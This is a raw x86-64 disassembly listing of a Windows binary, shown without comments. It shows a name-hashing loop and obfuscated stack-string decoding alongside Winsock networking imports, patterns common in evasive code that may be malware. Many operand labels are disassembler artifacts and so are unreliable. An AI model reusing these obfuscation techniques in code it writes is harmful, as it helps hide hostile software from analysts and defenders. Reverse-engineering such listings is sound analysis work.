imul esi, eax, 0x1000193
inc r15
mov al, byte [r15]
cmp al, 0x2e
jne 0x14013ba93
inc r15
mov al, byte [r15]
test al, al
je 0x14013bacb
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc r15
mov al, byte [r15]
test al, al
jne 0x14013bab2
mov dword [rsp + 0x44], ecx
mov rdi, qword [r14]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x14013bae3
cmp qword [rax + 0x30], r12
jne 0x14013b9a6
mov r15, r12
mov qword [0x140319e18], r15
mov byte [rbp + 0xe0], __WSAFDIsSet
mov byte [rbp + 0xe1], WSAStartup
mov byte [rbp + 0xe2], 0xe6
mov byte [rbp + 0xe3], WSAGetLastError
mov byte [rbp + 0xe4], 0xf0
mov byte [rbp + 0xe5], WSAGetLastError
mov byte [rbp + 0xe6], 0xfb
mov byte [rbp + 0xe7], 0x67
mov byte [rbp + 0xe8], 0xea
mov byte [rbp + 0xe9], 0x65
mov byte [rbp + 0xea], 0x83
mov byte [rbp + 0xeb], 0x63
mov byte [rbp + 0xec], 0x60
mov byte [rbp + 0xed], 0x61
xor eax, eax
mov qword [rbp + 0xee], rax
mov dword [rbp + 0xf6], eax
mov byte [rbp + 0xfa], al
mov bl, byte [rsp + 0x40]
mov r14b, 0x6c
call fcn.1400a1a30
mov rdi, qword [rax]
call fcn.1400a1a40
mov r10, qword [rax]
mov r9, r12
cmp r9, 0x1b
jae 0x14013c4f2
movzx r8d, byte [rbp + r9 + 0xe0]
mov r11, r8
cmp rdi, r9
ja 0x14013c4e9
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14013bbc8
movabs rcx, 0xf5f5f9986bb06d32
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x5e
jmp 0x14013bc02
je 0x14013c472
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013c3f9
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013c3ca
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14013c3aa
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013c391
cmp r10, r9
ja 0x14013c4e0
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x14013bc2e
lea edx, [r9 + 0x1a]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013bc55
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14013c357
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013c311
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14013c2f4
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14013c0f5
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14013c0d9
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14013c0c0
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013c0b2
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14013c0a1
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x14013c088
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013c06f
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14013c061
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14013c044
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14013c02b
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14013bc62
lea rdi, [r10 + 0x41]
lea r10, [rdi + 0x64]
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14013c4c5
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14013c4a6
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14013be3e
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14013be25
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x14013be0c
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x14013bfdf
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14013bf97
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14013bf57
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14013bf32
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14013bc62
lea rdi, [r10 + 5]
lea r10, [rdi + 0x7a]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14013bf15
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14013bf07
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14013beee
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x14013bed1
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14013beb5
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14013be98
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x14013be7b
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14013be5b
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14013bc62
lea rdi, [r10 + 3]
lea r10, [rdi + 0x1000]
jmp 0x14013bc62
lea ecx, [r9 + 0x26]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
jmp 0x14013bc55
lea ecx, [r9 - 0x3e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x14013bc02
lea edx, [r9 + 0x5e]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013bb91
lea edx, [r9 - 0x30]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r11b, r9b
jmp 0x14013c36e
lea edx, [r14 + r9]
mov ecx, 6
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013c3a5
mov ecx, 8
add ecx, r9d
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14013c3c2
lea ecx, [r9 - 0x5c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
mov r11b, r9b
jmp 0x14013c32c
lea edx, [r9 + 0x40]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013c34f
lea ecx, [r9 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14013c3e7
lea edx, [r9 + 0x14]
mov ecx, Ordinal_60
jmp 0x14013c04d
lea edx, [r9 - 0x50]
mov ecx, Ordinal_27
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013c48f
lea edx, [r9 - 0x4a]
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov byte [rbp + r9 + 0xe0], bl
jmp 0x14013c49e
lea ecx, [r9 + 0x52]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
mov eax, 8
cmp r10, rax
jb 0x14013bf4a
mov r11b, r9b
lea ecx, [r11 - 0x14]
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14013c36e
lea edx, [r9 - 0x12]
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 0x2a
jae 0x14013c2bd
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x14013c223
lea ecx, [r9 + 4]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1c
jmp 0x14013bf6b
lea edx, [r9 - 0x76]
mov al, dl
and al, r8b
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [r10 + rdi]
cmp rax, 2
je 0x14013c2da
lea rax, [r10 + 0x400]
cmp rdi, rax
jbe 0x14013c19b
lea ecx, [r9 - 0x16]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x66
jmp 0x14013bfaf
lea ecx, [r9 - 0x64]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x14013c48f
lea edx, [r9 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013c444
lea edx, [r9 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x14013c2fd
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x14013c3e7
lea ecx, [r9 + 0xc]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x54
jmp 0x14013c34f
mov r11b, r9b
lea edx, [r11 - 0x58]
mov ecx, 0x34
jmp 0x14013c31d
lea edx, [r9 + 0x44]
mov ecx, reloc.WS2_32.dll_select
jmp 0x14013c3b3
lea ecx, [r9 - 0x20]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x14013c3a5
mov r11b, r9b
lea ecx, [r11 + 0x7c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x14013c36e
lea rax, [r10 + 0x40]
cmp rdi, rax
jae 0x14013c117
lea ecx, [r9 + 0x32]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x14013bff7
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013c139
lea ecx, [r9 + 0x34]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x14013c48f
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013c150
lea edx, [r9 - 4]
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14013c2fd
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14013c172
lea ecx, [r9 - 0x3c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14013c34f
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013bff7
mov r11b, r9b
lea ecx, [r11 + 0x54]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
jmp 0x14013c36e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013c1c0
mov r11b, r9b
lea ecx, [r11 + 0x4e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
jmp 0x14013c36e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013c1d7
lea edx, [r9 + 0x16]
mov ecx, 0x33
jmp 0x14013c3b3
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14013c1fd
lea edx, [r9 + 0x42]
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013c3e7
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013bfaf
lea ecx, [r9 + 0x6e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 2
jmp 0x14013c48f
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013c23a
lea edx, [r9 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14013bf1e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013c25c
lea ecx, [r9 + 0x30]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x14013c41d
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14013c280
mov cl, r9b
sub cl, r14b
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14013c3e7
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14013c2a2
lea ecx, [r9 - 0x40]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14013c3c2
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013bf6b
lea edx, [r9 + 0x24]
mov ecx, 2
jmp 0x14013be84
mov r11b, r9b
lea edx, [r11 + 0x50]
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0xe0]
sub bl, al
sub bl, 0x30
jmp 0x14013c327
lea edx, [r9 - 0x4c]
mov al, dl
and al, r8b
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14013c41d
lea edx, [r9 - 0x2a]
mov ecx, reloc.WS2_32.dll_send
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013c41d
mov r11b, r9b
lea edx, [r11 - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
sub r11b, 0x7e
mov al, r11b
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, r8b
mov byte [rbp + r9 + 0xe0], cl
add rdi, r10
jmp 0x14013c3e7
mov r11b, r9b
lea ecx, [r11 + 0x7e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
add r11b, 0x1e
mov al, r11b
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r11b
add cl, r8b
mov byte [rbp + r9 + 0xe0], cl
jmp 0x14013c3a5
lea ecx, [r9 + 0x52]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
inc r10
jmp 0x14013c3c2
lea edx, [r9 - 0x12]
mov ecx, 0x3f
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
dec r9
jmp 0x14013c49e
movabs rcx, 0xa5a5c65bc933d6c2
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4e
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14013c49e
movabs rdx, 0xb9b9d32af1d2fc5e
add rdx, r9
mov r8b, r11b
mov al, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
lea ecx, [r9 - 0x1a]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4a
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xe0], al
inc r10
add rax, r10
sub r9, rax
lea edx, [r9 + 0x18]
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xe0], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14013c48f
movabs rcx, 0xe1e1ecc943114796
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x1a
movzx eax, byte [rbp + r9 + 0xe0]
add rax, r10
add r9, rax
inc r9
jmp 0x14013bb7e
sub r9b, 6
mov al, r9b
and al, r8b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, r8b
jmp 0x14013bb7b
sub r9b, 0x6a
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x1a
jmp 0x14013bb6b
lea r14, [rbp + 0x1495e78]
jmp 0x14013c4f9
lea r14, [rbp + 0x139cbaa]
jmp 0x14013c4f9
lea r14, [rbp + 0xe0]
mov byte [rbp + 0x50], 0x65
mov byte [rbp + 0x51], Ordinal_27
mov byte [rbp + 0x52], __WSAFDIsSet
mov byte [rbp + 0x53], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x54], Ordinal_143
mov byte [rbp + 0x55], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x56], 0x8b
mov byte [rbp + 0x57], reloc.WS2_32.dll_socket
mov byte [rbp + 0x58], 0x82
mov byte [rbp + 0x59], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x5a], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x5b], reloc.WS2_32.dll_send
mov byte [rbp + 0x5c], Ordinal_46
mov byte [rbp + 0x5d], reloc.WS2_32.dll_listen
mov byte [rbp + 0x5e], 0x7e
mov byte [rbp + 0x5f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x60], 0x9a
mov byte [rbp + 0x61], 9
mov byte [rbp + 0x62], 0x9d
mov byte [rbp + 0x63], ntohl
mov byte [rbp + 0x64], 0x88
mov byte [rbp + 0x65], 5
mov byte [rbp + 0x66], 0x9b
mov byte [rbp + 0x67], 7
mov byte [rbp + 0x68], 0x63
mov byte [rbp + 0x69], 1
mov byte [rbp + 0x6a], Ordinal_143
mov byte [rbp + 0x6b], 3
mov byte [rbp + 0x6c], 0xa5
mov byte [rbp + 0x6d], 0x3d
mov byte [rbp + 0x6e], 0xa9
mov byte [rbp + 0x6f], 0x3f
mov byte [rbp + 0x70], 0xae
mov byte [rbp + 0x71], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x72], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x73], Ordinal_60
mov byte [rbp + 0x74], 0x61
mov byte [rbp + 0x75], 0x35
mov byte [rbp + 0x76], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x77], gethostname
mov byte [rbp + 0x78], 0x5b
mov byte [rbp + 0x79], Ordinal_50
mov byte [rbp + 0x7a], reloc.WS2_32.dll_select
mov byte [rbp + 0x7b], 0x33
mov byte [rbp + 0x7c], 0x51
mov byte [rbp + 0x7d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x7e], 0xbc
mov byte [rbp + 0x7f], Ordinal_50
mov byte [rbp + 0x80], 0xba
mov byte [rbp + 0x81], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x82], 0xbd
mov byte [rbp + 0x83], Ordinal_46
mov byte [rbp + 0x84], 0xb6
mov byte [rbp + 0x85], Ordinal_41
mov byte [rbp + 0x86], 6
mov byte [rbp + 0x87], Ordinal_41
mov byte [rbp + 0x88], 0x5d
mov byte [rbp + 0x89], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x8a], 0xb6
mov byte [rbp + 0x8b], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x8c], 0xc1
mov byte [rbp + 0x8d], 0x5d
mov byte [rbp + 0x8e], Ordinal_211
mov byte [rbp + 0x8f], 0x5f
mov byte [rbp + 0x90], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x91], 0x59
mov byte [rbp + 0x92], Ordinal_217
mov byte [rbp + 0x93], 0x5b
mov byte [rbp + 0x94], Ordinal_211
mov byte [rbp + 0x95], 0x55
mov byte [rbp + 0x96], 0xc0
mov byte [rbp + 0x97], 0x57
mov byte [rbp + 0x98], Ordinal_211
mov byte [rbp + 0x99], 0x51
mov byte [rbp + 0x9a], WSAStartup
mov byte [rbp + 0x9b], 0x53
mov byte [rbp + 0x9c], gethostname
mov byte [rbp + 0x9d], Ordinal_79
mov byte [rbp + 0x9e], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x9f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xa0], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xa1], Ordinal_79
mov byte [rbp + 0xa2], Ordinal_217
mov byte [rbp + 0xa3], Ordinal_79
mov byte [rbp + 0xa4], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xa5], 0x45
mov byte [rbp + 0xa6], Ordinal_217
mov byte [rbp + 0xa7], 0x47
mov byte [rbp + 0xa8], 0x60
mov byte [rbp + 0xa9], 0x41
mov byte [rbp + 0xaa], Ordinal_41
mov byte [rbp + 0xab], 0x43
mov byte [rbp + 0xac], 0x7c
mov byte [rbp + 0xad], 0x7d
xor eax, eax
mov word [rbp + 0xae], ax
mov byte [rbp + 0xb0], al
mov dil, byte [rsp + 0x40]
call fcn.1400a1a30
mov rbx, qword [rax]
call fcn.1400a1a40
mov r10, qword [rax]
mov r9, r12
cmp r9, 0x61
jae 0x14013d0ae
movzx r8d, byte [rbp + r9 + 0x50]
mov r11, r8
cmp rbx, r9
ja 0x14013d0a5
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14013c76a
movabs rcx, 0xc0c89b4b88788084
add rcx, r9
mov rax, r8
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
add dil, 0x64
jmp 0x14013c797
je 0x14013d02b
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14013cfdf
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14013cfb1
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14013cf93
mov r11b, 0x7c
cmp r10, r9
ja 0x14013d09c
lea rax, [r10 + 0x61]
cmp rbx, rax
jae 0x14013c7c7
lea edx, [r9 - 0x2c]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14013c808
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14013cf4f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14013cf37
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14013cf1c
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14013ced4
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14013ceb6
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x14013cc3b
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14013cc1e
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x14013cc03
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x14013cbe8
lea rax, [r10 + 0x1000]
cmp rbx, rax
je 0x14013cbcd
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x14013cbbf
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x14013cba4
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x14013cb87
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14013cb79
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x14013cb6b
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14013c815
lea rbx, [r10 + 4]
lea r10, [rbx + 1]
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x14013d07d
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x14013d061
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x14013ca06
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14013c9ea
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x14013c9cc
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x14013cb5d
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x14013cb43
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x14013cb29
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x14013cb06
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x14013c815
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0xa]
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x14013caf8
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x14013caea
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14013cacd
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14013cab2
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14013ca94
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x14013ca79
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x14013ca5b
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x14013ca40
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x14013ca23
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x14013c815
lea rbx, [r10 + 0x40]
lea r10, [rbx + 1]
jmp 0x14013c815
lea edx, [r9 - 0x54]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013c808
lea edx, [r9 - 0x5c]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x14013c79a
lea edx, [r9 - 0x64]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x44
add dil, dl
jmp 0x14013c732
lea edx, [r9 - 0x60]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x60
mov r11b, r9b
jmp 0x14013cf67
lea ecx, [r9 - 0x68]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x14013cf88
lea edx, [r9 - 0x70]
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14013cf8b
lea edx, [r9 - 0x78]
mov al, r8b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
mov r11b, r9b
jmp 0x14013ce72
lea ecx, [r9 + 0x80]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x14013cfac
lea ecx, [r9 + 0x78]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x48
jmp 0x14013cfcf
lea edx, [r9 + 0x70]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
mov r11b, r9b
jmp 0x14013ceec
lea edx, [r9 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14013cd21
lea edx, [r9 + 0x60]
mov ecx, Ordinal_50
jmp 0x14013cebf
lea edx, [r9 - 0x34]
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r9 + 0x50], dil
jmp 0x14013d059
lea edx, [r9 - 0x3c]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5c
jmp 0x14013ccc9
lea edx, [r9 - 0x44]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x24
jmp 0x14013cc96
lea edx, [r9 - 0x4c]
mov ecx, 0xa
jmp 0x14013cc56
lea edx, [r9 - 8]
mov ecx, Ordinal_30
jmp 0x14013cebf
lea edx, [r9 - 0x10]
mov ecx, gethostname
jmp 0x14013cd21
mov r11b, r9b
lea edx, [r11 - 0x18]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x58
jmp 0x14013ceec
lea ecx, [r9 - 0x20]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x20
jmp 0x14013cfcf
lea edx, [r9 - 0x28]
mov ecx, ntohl
jmp 0x14013cf9c
mov r11b, r9b
lea edx, [r11 - 0x30]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14013ce72
lea ecx, [r9 - 0x38]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x14013cf8b
lea ecx, [r9 - 0x40]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x40
jmp 0x14013cf88
mov r11b, r9b
lea edx, [r11 - 0x48]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
jmp 0x14013cf67
lea rax, [r10 + 0x80]
cmp rbx, rax
jae 0x14013ccf8
mov dl, r9b
sub dl, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [rbx + r10]
cmp rax, 0x42
je 0x14013ce9e
lea rax, [r10 + 0x20]
cmp rbx, rax
jbe 0x14013cd5e
lea edx, [r9 + 0x74]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
add dil, dl
cmp rbx, 6
jae 0x14013ce58
lea rax, [r10 + 0x400]
cmp rbx, rax
jbe 0x14013cdf6
lea edx, [r9 + 0x48]
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r10, 0x41
jb 0x14013cb1f
mov r11b, r9b
lea edx, [r11 - 0x68]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x50]
jmp 0x14013cf6a
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14013cd0f
lea edx, [r9 - 0x58]
mov ecx, 0x34
jmp 0x14013cebf
lea rax, [r10 + 2]
cmp rbx, rax
